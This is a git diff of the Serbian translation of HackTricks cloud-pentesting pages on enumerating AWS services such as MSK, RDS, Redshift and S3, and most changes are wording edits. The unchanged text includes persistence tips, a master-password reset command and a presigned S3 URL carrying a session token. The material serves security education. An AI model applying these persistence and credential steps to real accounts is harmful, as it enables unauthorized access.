poruka**, poznat i kao _posrednik poruka_ ili _menadžer redova_. To je u suštini sistem gde su redovi konfigurisani. Aplikacije komuniciraju sa ovim redovima da bi **slale i primale poruke**. Poruke u ovom kontekstu mogu nositi razne informacije, od komandi za pokretanje procesa na drugim aplikacijama (potencijalno na različitim serverima) do jednostavnih tekstualnih poruka. Poruke se čuvaju od strane softvera menadžera redova dok ih ne preuzme i obradi aplikacija koja prima. AWS pruža jednostavno rešenje za hostovanje i upravljanje RabbitMQ serverima. ### AWS - ActiveMQ Apache ActiveMQ® je vodeći open-source, Java-bazirani **posrednik poruka** poznat po svojoj svestranosti. Podržava više industrijskih standardnih protokola, nudeći široku kompatibilnost klijenata kroz razne jezike i platforme. Korisnici mogu: -- Povezati se sa klijentima napisanim u JavaScript-u, C-u, C++, Python-u, .Net-u i drugim. +- Povezati se sa klijentima napisanim u JavaScript-u, C, C++, Python-u, .Net-u i drugim. - Iskoristiti **AMQP** protokol za integraciju aplikacija sa različitih platformi. - Koristiti **STOMP** preko websockets za razmenu poruka u web aplikacijama. - Upravljati IoT uređajima sa **MQTT**. @@ -56,7 +56,7 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Neautentifikovani Pristup +## Neautentifikovani pristup {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index bd5cee505..2f6e8a2b6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,7 +4,7 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** je usluga koja je potpuno upravljana, olakšavajući razvoj i izvršenje aplikacija koje obrađuju striming podatke putem **Apache Kafka**. Operacije kontrolne ravni, uključujući kreiranje, ažuriranje i brisanje **klastera**, nudi Amazon MSK. Usluga omogućava korišćenje Apache Kafka **operacija podataka**, obuhvatajući proizvodnju i potrošnju podataka. Radi na **open-source verzijama Apache Kafka**, osiguravajući kompatibilnost sa postojećim aplikacijama, alatima i dodacima kako partnera tako i **Apache Kafka zajednice**, eliminišući potrebu za izmenama u kodu aplikacije. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** je usluga koja je potpuno upravljana, olakšavajući razvoj i izvršenje aplikacija koje obrađuju strimovane podatke putem **Apache Kafka**. Operacije kontrolne ravni, uključujući kreiranje, ažuriranje i brisanje **klastera**, nudi Amazon MSK. Usluga omogućava korišćenje Apache Kafka **operacija podataka**, obuhvatajući proizvodnju i potrošnju podataka. Radi na **open-source verzijama Apache Kafka**, osiguravajući kompatibilnost sa postojećim aplikacijama, alatima i dodacima kako partnera tako i **Apache Kafka zajednice**, eliminišući potrebu za izmenama u kodu aplikacije. U pogledu pouzdanosti, Amazon MSK je dizajniran da **automatski detektuje i oporavi se od uobičajenih scenarija kvara klastera**, osiguravajući da aplikacije proizvođača i potrošača nastave sa svojim aktivnostima pisanja i čitanja podataka uz minimalne prekide. Pored toga, ima za cilj da optimizuje procese replikacije podataka pokušavajući da **ponovno iskoristi skladište zamenjenih brokera**, čime se smanjuje količina podataka koja treba da se replikira putem Apache Kafka. @@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` -### Kafka IAM Pristup (u serverless) +### Kafka IAM pristup (u serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -78,17 +78,17 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Unauthenticated Access +### Neautentifikovani pristup {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md {{#endref}} -### Persistence +### Persistencija -Ako ćete **imati pristup VPC-u** gde se nalazi Provisioned Kafka, mogli biste **omogućiti neovlašćen pristup**, ako **SASL/SCRAM autentifikacija**, **pročitate** lozinku iz tajne, dodelite neke **druge kontrolisane korisničke IAM dozvole** (ako se koristi IAM ili serverless) ili persistirate sa **sertifikatima**. +Ako ćete **imati pristup VPC-u** gde se nalazi Provisioned Kafka, mogli biste **omogućiti neautorizovani pristup**, ako **SASL/SCRAM autentifikacija**, **pročitate** lozinku iz tajne, dodelite **nekom drugom kontrolisanom korisniku IAM dozvole** (ako se koristi IAM ili serverless) ili persistirate sa **sertifikatima**. -## References +## Reference - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index d5b71dc46..cbdcab8bd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -1,4 +1,4 @@ -# AWS - Organizations Enum +# AWS - Organizacije Enum {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ AWS Organizations olakšava kreiranje novih AWS naloga bez dodatnih troškova. Resursi se mogu dodeliti bez napora, nalozi se mogu efikasno grupisati, a politike upravljanja mogu se primeniti na pojedinačne naloge ili grupe, čime se poboljšava upravljanje i kontrola unutar organizacije. -Ključne tačke: +Ključne Tačke: - **Kreiranje Novog Naloga**: AWS Organizations omogućava kreiranje novih AWS naloga bez dodatnih troškova. - **Dodeljivanje Resursa**: Pojednostavljuje proces dodeljivanja resursa između naloga. @@ -38,7 +38,7 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` -## Референце +## Reference - https://aws.amazon.com/organizations/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 5799dfa9c..00c04b719 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,4 +1,4 @@ -# AWS - Ostale Usluge Enum +# AWS - Enum drugih usluga {{#include ../../../banners/hacktricks-training.md}} @@ -11,7 +11,7 @@ aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## Podrška U AWS-u možete pristupiti trenutnim i prethodnim slučajevima podrške putem API-ja ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 017b9239d..47c898b2e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,15 +4,15 @@ ## Amazon Redshift -Redshift je potpuno upravljana usluga koja može da se skalira do preko petabajta, koja se koristi kao **data warehouse za big data rešenja**. Koristeći Redshift klastere, možete da izvršavate analitiku nad vašim skupovima podataka koristeći brze, SQL-bazirane alate za upit i aplikacije poslovne inteligencije kako biste stekli bolje razumevanje vizije za vaše poslovanje. +Redshift je potpuno upravljana usluga koja može da se skalira do više od petabajta, koja se koristi kao **data warehouse za big data rešenja**. Koristeći Redshift klastere, možete da izvršavate analitiku nad vašim skupovima podataka koristeći brze, SQL-bazirane alate za upite i aplikacije za poslovnu inteligenciju kako biste stekli bolje razumevanje vizije za vaše poslovanje. -**Redshift nudi enkripciju u mirovanju koristeći hijerarhiju enkripcijskih ključeva sa četiri nivoa koristeći KMS ili CloudHSM za upravljanje najvišim nivoom ključeva**. **Kada je enkripcija omogućena za vaš klaster, ne može se onemogućiti i obrnuto**. Kada imate neenkriptovani klaster, ne može se enkriptovati. +**Redshift nudi enkripciju u mirovanju koristeći hijerarhiju od četiri nivoa enkripcijskih ključeva koristeći KMS ili CloudHSM za upravljanje najvišim nivoom ključeva**. **Kada je enkripcija omogućena za vaš klaster, ne može se onemogućiti i obrnuto**. Kada imate neenkriptovani klaster, ne može se enkriptovati. Enkripcija za vaš klaster može se dogoditi samo tokom njegove kreacije, a kada je enkriptovan, podaci, metapodaci i sve snimke su takođe enkriptovani. Nivoi enkripcijskih ključeva su sledeći, **prvi nivo je glavni ključ, drugi nivo je ključ enkripcije klastera, CEK, treći nivo, ključ enkripcije baze podataka, DEK, i konačno četvrti nivo, ključevi enkripcije podataka**. ### KMS -Tokom kreacije vašeg klastera, možete ili odabrati **podrazumevani KMS ključ** za Redshift ili odabrati **svoj CMK**, što vam daje veću fleksibilnost u kontroli ključa, posebno iz audibilne perspektive. +Tokom kreacije vašeg klastera, možete ili odabrati **podrazumevani KMS ključ** za Redshift ili odabrati svoj **vlastiti CMK**, što vam daje veću fleksibilnost u kontroli ključa, posebno iz auditable perspektive. Podrazumevani KMS ključ za Redshift automatski se kreira od strane Redshift-a prvi put kada se opcija ključa odabere i koristi, i potpuno ga upravlja AWS. @@ -20,7 +20,7 @@ Ovaj KMS ključ se zatim enkriptuje sa CMK glavnim ključem, prvi nivo. Ovaj enk Redshift zatim traži od KMS-a da dekriptuje CEK, drugi nivo. Ovaj dekriptovani CEK se zatim takođe čuva u memoriji. Redshift zatim kreira nasumični ključ enkripcije baze podataka, DEK, treći nivo, i učitava ga u memoriju klastera. Dekriptovani CEK u memoriji zatim enkriptuje DEK, koji se takođe čuva u memoriji. -Ovaj enkriptovani DEK se zatim šalje preko sigurnog kanala i čuva se u Redshift-u odvojeno od klastera. I CEK i DEK su sada čuvani u memoriji klastera u enkriptovanom i dekriptovanom obliku. Dekriptovani DEK se zatim koristi za enkripciju ključeva podataka, četvrti nivo, koji se nasumično generišu od strane Redshift-a za svaki blok podataka u bazi. +Ovaj enkriptovani DEK se zatim šalje preko sigurnog kanala i čuva se u Redshift-u odvojeno od klastera. I CEK i DEK su sada čuvani u memoriji klastera u enkriptovanom i dekriptovanom obliku. Dekriptovani DEK se zatim koristi za enkripciju ključeva podataka, četvrti nivo, koji se nasumično generišu od strane Redshift-a za svaki blok podataka u bazi podataka. Možete koristiti AWS Trusted Advisor za praćenje konfiguracije vaših Amazon S3 kanti i osiguranje da je logovanje kanti omogućeno, što može biti korisno za izvođenje bezbednosnih audita i praćenje obrazaca korišćenja u S3. @@ -32,13 +32,13 @@ Možete koristiti AWS Trusted Advisor za praćenje konfiguracije vaših Amazon S Kada radite sa CloudHSM za izvođenje vaše enkripcije, prvo morate postaviti poverljivu vezu između vašeg HSM klijenta i Redshift-a koristeći klijentske i serverske sertifikate. -Ova veza je potrebna za obezbeđivanje sigurnih komunikacija, omogućavajući slanje enkripcijskih ključeva između vašeg HSM klijenta i vaših Redshift klastera. Koristeći nasumično generisani privatni i javni ključ, Redshift kreira javni klijentski sertifikat, koji je enkriptovan i čuvan od strane Redshift-a. Ovaj sertifikat mora biti preuzet i registrovan kod vašeg HSM klijenta, i dodeljen ispravnoj HSM particiji. +Ova veza je potrebna za obezbeđivanje sigurnih komunikacija, omogućavajući slanje enkripcijskih ključeva između vašeg HSM klijenta i vaših Redshift klastera. Koristeći nasumično generisani privatni i javni ključ, Redshift kreira javni klijentski sertifikat, koji je enkriptovan i čuvan od strane Redshift-a. Ovaj sertifikat mora biti preuzet i registrovan na vašem HSM klijentu, i dodeljen ispravnoj HSM particiji. -Zatim morate konfigurisati Redshift sa sledećim detaljima vašeg HSM klijenta: IP adresa HSM-a, naziv HSM particije, lozinka HSM particije, i javni HSM serverski sertifikat, koji je enkriptovan od strane CloudHSM koristeći unutrašnji glavni ključ. Kada su ovi podaci dostavljeni, Redshift će potvrditi i verifikovati da može da se poveže i pristupi razvoju particije. +Zatim morate konfigurisati Redshift sa sledećim detaljima vašeg HSM klijenta: HSM IP adresa, ime HSM particije, lozinka HSM particije, i javni HSM serverski sertifikat, koji je enkriptovan od strane CloudHSM koristeći unutrašnji glavni ključ. Kada su ovi podaci dostavljeni, Redshift će potvrditi i verifikovati da može da se poveže i pristupi razvoju particije. Ako vaša interna pravila bezbednosti ili upravljačke kontrole nalažu da morate primeniti rotaciju ključeva, onda je to moguće sa Redshift-om koji vam omogućava da rotirate enkripcijske ključeve za enkriptovane klastere, međutim, morate biti svesni da će tokom procesa rotacije klaster biti nedostupan na vrlo kratak period, pa je najbolje rotirati ključeve samo kada je to potrebno, ili ako smatrate da su možda kompromitovani. -Tokom rotacije, Redshift će rotirati CEK za vaš klaster i za sve rezervne kopije tog klastera. Rotiraće DEK za klaster, ali nije moguće rotirati DEK za snimke pohranjene u S3 koje su enkriptovane koristeći DEK. Staviće klaster u stanje 'rotacije ključeva' dok se proces ne završi kada će status ponovo biti 'dostupan'. +Tokom rotacije, Redshift će rotirati CEK za vaš klaster i za sve rezervne kopije tog klastera. Rotiraće DEK za klaster, ali nije moguće rotirati DEK za snimke pohranjene u S3 koje su enkriptovane koristeći DEK. Staviće klaster u stanje 'rotiranje ključeva' dok se proces ne završi kada će status ponovo biti 'dostupan'.
@@ -87,7 +87,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistencija +## Persistence Sledeće akcije omogućavaju dodeljivanje pristupa drugim AWS nalozima klasteru: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 06b6f2b1b..c51d2995b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,13 +4,13 @@ ## Osnovne informacije -**Relational Database Service (RDS)** koji nudi AWS je dizajniran da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatski obavlja radno intenzivne zadatke poput obezbeđivanja hardvera, konfiguracije baze podataka, zakrpa i rezervnih kopija. +**Relational Database Service (RDS)** koju nudi AWS je dizajnirana da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatski obavlja radno intenzivne zadatke poput obezbeđivanja hardvera, konfiguracije baze podataka, zakrpa i rezervnih kopija. -AWS RDS podržava različite široko korišćene motore relacijskih baza podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL. +AWS RDS podržava različite široko korišćene motore relacione baze podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL. Ključne karakteristike RDS uključuju: -- **Upravljanje instancama baza podataka** je pojednostavljeno. +- **Upravljanje instancama baze podataka** je pojednostavljeno. - Kreiranje **read replicas** za poboljšanje performansi čitanja. - Konfiguracija **multi-Availability Zone (AZ) implementacija** za obezbeđivanje visoke dostupnosti i mehanizama prebacivanja. - **Integracija** sa drugim AWS uslugama, kao što su: @@ -20,9 +20,9 @@ Ključne karakteristike RDS uključuju: ## Akreditivi -Kada kreirate DB klaster, glavno **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete: +Kada se kreira DB klaster, master **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete: -- **Naznačiti** lozinku sami +- **Naznačiti** **lozinku** sami - Reći RDS da je **automatski generiše** - Reći RDS da je upravlja u **AWS Secret Manager** enkriptovano KMS ključem @@ -30,13 +30,13 @@ Kada kreirate DB klaster, glavno **korisničko ime** može biti konfigurisano (* ### Autentifikacija -Postoje 3 vrste opcija autentifikacije, ali korišćenje **glavne lozinke je uvek dozvoljeno**: +Postoje 3 vrste opcija za autentifikaciju, ali korišćenje **master lozinke je uvek dozvoljeno**:
### Javni pristup i VPC -Po defaultu **nema javnog pristupa** bazama podataka, međutim, **može biti dodeljen**. Stoga, po defaultu samo mašine iz iste VPC će moći da mu pristupe ako izabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava. +Po defaultu **nema javnog pristupa** bazi podataka, međutim, **može biti odobren**. Stoga, po defaultu samo mašine iz iste VPC će moći da joj pristupe ako odabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava. Umesto izlaganja DB instance, moguće je kreirati **RDS Proxy** koji **poboljšava** **skalabilnost** i **dostupnost** DB klastera. @@ -49,17 +49,17 @@ Pored toga, **port baze podataka se takođe može modifikovati**. Omogućavanjem vaše enkripcije, omogućavate **enkripciju u mirovanju za vašu skladištenje, snimke, read replicas i vaše rezervne kopije**. Ključevi za upravljanje ovom enkripcijom mogu biti izdati korišćenjem **KMS**.\ Nije moguće dodati ovaj nivo enkripcije nakon što je vaša baza podataka kreirana. **To mora biti učinjeno tokom njene kreacije**. -Međutim, postoji **rešenje koje vam omogućava da enkriptujete neenkriptovanu bazu podataka na sledeći način**. Možete kreirati snimak vaše neenkriptovane baze podataka, kreirati enkriptovanu kopiju tog snimka, koristiti taj enkriptovani snimak za kreiranje nove baze podataka, i na kraju, vaša baza podataka bi tada bila enkriptovana. +Međutim, postoji **rešenje koje vam omogućava da enkriptujete neenkriptovanu bazu podataka na sledeći način**. Možete kreirati snimak vaše neenkriptovane baze podataka, kreirati enkriptovanu kopiju tog snimka, koristiti tu enkriptovanu snimku za kreiranje nove baze podataka, i na kraju, vaša baza podataka bi tada bila enkriptovana. -#### Transparentna enkripcija podataka (TDE) +#### Transparent Data Encryption (TDE) -Pored mogućnosti enkripcije inherentnih RDS-u na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparentnu enkripciju podataka (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama. +Pored mogućnosti enkripcije inherentnih RDS-u na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparent Data Encryption (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama. Da biste koristili TDE, potrebni su određeni preliminarni koraci: -1. **Asocijacija grupe opcija**: +1. **Asocijacija sa grupom opcija**: - Baza podataka mora biti povezana sa grupom opcija. Grupe opcija služe kao kontejneri za podešavanja i funkcije, olakšavajući upravljanje bazom podataka, uključujući poboljšanja sigurnosti. -- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore baza podataka i verzije. +- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore i verzije baza podataka. 2. **Uključivanje TDE u grupu opcija**: - Kada je povezana sa grupom opcija, opcija Oracle Transparent Data Encryption treba biti uključena u tu grupu. - Važno je prepoznati da, kada se TDE opcija doda grupi opcija, postaje trajna i ne može se ukloniti. @@ -123,7 +123,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Postojanost +### Perzistencija {{#ref}} ../aws-persistence/aws-rds-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index fd97a22b8..1fe9db872 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -10,7 +10,7 @@ Možete kreirati https, http i tcp **health checks za web stranice** putem Route ### IP-based routing Ovo je korisno za podešavanje vašeg DNS rutiranja kako biste doneli najbolje DNS rutirajuće odluke za vaše krajnje korisnike.\ -IP-based routing vam nudi dodatnu mogućnost da **optimizujete rutiranje na osnovu specifičnog znanja o vašoj bazi korisnika**. +IP-based routing vam nudi dodatnu mogućnost da **optimizujete rutiranje na osnovu specifičnog znanja o vašoj korisničkoj bazi**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index eec8779ef..55797a816 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,11 +4,11 @@ ## S3 -Amazon S3 je usluga koja omogućava **čuvanje velikih količina podataka**. +Amazon S3 je usluga koja vam omogućava da **čuvate velike količine podataka**. Amazon S3 pruža više opcija za postizanje **zaštite** podataka u mirovanju. Opcije uključuju **Dozvolu** (Politiku), **Enkripciju** (Klijentsku i Serversku stranu), **Verzionisanje kanti** i **MFA** **zasnovano brisanje**. **Korisnik može omogućiti** bilo koju od ovih opcija za postizanje zaštite podataka. **Replikacija podataka** je interna funkcija AWS-a gde **S3 automatski replicira svaki objekat širom svih dostupnih zona** i organizacija je ne mora omogućiti u ovom slučaju. -Sa dozvolama zasnovanim na resursima, možete definisati dozvole za poddirektorijume vaše kante odvojeno. +Sa dozvolama zasnovanim na resursima, možete odvojeno definisati dozvole za poddirektorijume vaše kante. ### Verzionisanje kanti i MFA zasnovano brisanje @@ -18,15 +18,15 @@ Kada je verzionisanje kanti omogućeno, svaka akcija koja pokušava da izmeni da ### S3 pristupni logovi -Moguće je **omogućiti S3 pristupne logove** (koji su po defaultu onemogućeni) za neku kantu i sačuvati logove u drugoj kanti kako bi se znalo ko pristupa kanti (obe kante moraju biti u istoj regiji). +Moguće je **omogućiti S3 pristupne logove** (koji su po defaultu onemogućeni) za neku kantu i sačuvati logove u drugoj kanti kako biste znali ko pristupa kanti (obe kante moraju biti u istoj regiji). -### S3 Predpotpisani URL-ovi +### S3 Presigned URL-ovi -Moguće je generisati predpotpisani URL koji se obično može koristiti za **pristup određenoj datoteci** u kanti. **Predpotpisani URL izgleda ovako**: +Moguće je generisati presigned URL koji se obično može koristiti za **pristup određenoj datoteci** u kanti. **Presigned URL izgleda ovako**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL can be **kreiran iz cli koristeći akreditive glavnog korisnika sa pristupom objektu** (ako nalog koji koristite nema pristup, biće kreiran kraći presigned URL, ali će biti beskoristan) +URL sa prethodnim potpisom može biti **napravljen iz cli koristeći akreditive subjekta koji ima pristup objektu** (ako nalog koji koristite nema pristup, biće kreirana kraća URL sa prethodnim potpisom, ali će biti beskorisna) ```bash aws s3 presign --region 's3:///' ``` @@ -53,11 +53,11 @@ ExpiresIn=3600 Ova opcija zahteva minimalnu konfiguraciju i svu upravu nad ključevima za enkripciju vrši AWS. Sve što treba da uradite je da **otpremite svoje podatke i S3 će se pobrinuti za sve ostale aspekte**. Svakom bucket-u u S3 nalogu dodeljuje se ključ bucket-a. - Enkripcija: -- Podaci objekta + kreirani obični DEK --> Enkriptovani podaci (smešteni unutar S3) -- Kreirani obični DEK + S3 Master Key --> Enkriptovani DEK (smešten unutar S3) i običan tekst se briše iz memorije +- Podaci objekta + kreirani plaintext DEK --> Enkriptovani podaci (smešteni unutar S3) +- Kreirani plaintext DEK + S3 Master Key --> Enkriptovani DEK (smešten unutar S3) i plaintext se briše iz memorije - Dekripcija: -- Enkriptovani DEK + S3 Master Key --> Obični DEK -- Obični DEK + Enkriptovani podaci --> Podaci objekta +- Enkriptovani DEK + S3 Master Key --> Plaintext DEK +- Plaintext DEK + Enkriptovani podaci --> Podaci objekta Napomena: u ovom slučaju **ključ upravlja AWS** (rotacija samo svake 3 godine). Ako koristite svoj ključ, moći ćete da rotirate, onemogućite i primenite kontrolu pristupa. @@ -71,8 +71,8 @@ Ova metoda omogućava S3 da koristi servis za upravljanje ključevima za generis - Enkripcija: - S3 zahteva ključeve podataka od KMS CMK -- KMS koristi CMK za generisanje para DEK običnog i DEK enkriptovanog i šalje ih S3 -- S3 koristi obični ključ za enkripciju podataka, čuva enkriptovane podatke i enkriptovani ključ i briše iz memorije obični ključ +- KMS koristi CMK za generisanje para DEK plaintext i DEK enkriptovanog i šalje ih S3 +- S3 koristi plaintext ključ za enkripciju podataka, čuva enkriptovane podatke i enkriptovani ključ i briše plaintext ključ iz memorije - Dekripcija: - S3 traži od KMS da dekriptuje enkriptovani ključ podataka objekta - KMS dekriptuje ključ podataka sa CMK i vraća ga S3 @@ -84,16 +84,16 @@ Ova metoda omogućava S3 da koristi servis za upravljanje ključevima za generis Enkripcija na strani servera sa ključevima koje obezbeđuje korisnik, SSE-C -Ova opcija vam daje priliku da obezbedite svoj vlastiti master ključ koji možda već koristite van AWS-a. Vaš ključ koji obezbeđuje korisnik biće zatim poslat sa vašim podacima u S3, gde će S3 izvršiti enkripciju za vas. +Ova opcija vam daje priliku da obezbedite svoj vlastiti master ključ koji možda već koristite van AWS-a. Vaš ključ koji obezbeđuje korisnik biće poslat sa vašim podacima u S3, gde će S3 izvršiti enkripciju za vas. - Enkripcija: - Korisnik šalje podatke objekta + Ključ korisnika u S3 - Ključ korisnika se koristi za enkripciju podataka i enkriptovani podaci se čuvaju -- takođe se čuva zasoljena HMAC vrednost ključa korisnika za buduću validaciju ključa +- takođe se čuva salted HMAC vrednost ključa korisnika za buduću validaciju ključa - ključ korisnika se briše iz memorije - Dekripcija: - Korisnik šalje ključ korisnika -- Ključ se validira u odnosu na sačuvanu HMAC vrednost +- Ključ se validira u odnosu na HMAC vrednost koja je sačuvana - Ključ koji obezbeđuje korisnik se zatim koristi za dekripciju podataka
@@ -106,12 +106,12 @@ Slično SSE-KMS, ovo takođe koristi servis za upravljanje ključevima za generi - Enkripcija: - Klijent zahteva ključ podataka od KMS -- KMS vraća obični DEK i enkriptovani DEK sa CMK +- KMS vraća plaintext DEK i enkriptovani DEK sa CMK - Obe ključeve šalje nazad -- Klijent zatim enkriptuje podatke sa običnim DEK-om i šalje S3 enkriptovane podatke + enkriptovani DEK (koji se čuva kao metapodatak enkriptovanih podataka unutar S3) +- Klijent zatim enkriptuje podatke sa plaintext DEK i šalje S3 enkriptovane podatke + enkriptovani DEK (koji se čuva kao metapodatak enkriptovanih podataka unutar S3) - Dekripcija: -- Enkriptovani podaci sa enkriptovanim DEK-om se šalju klijentu -- Klijent traži od KMS da dekriptuje enkriptovani ključ koristeći CMK, a KMS vraća obični DEK +- Enkriptovani podaci sa enkriptovanim DEK se šalju klijentu +- Klijent traži od KMS da dekriptuje enkriptovani ključ koristeći CMK i KMS vraća plaintext DEK - Klijent sada može dekriptovati enkriptovane podatke
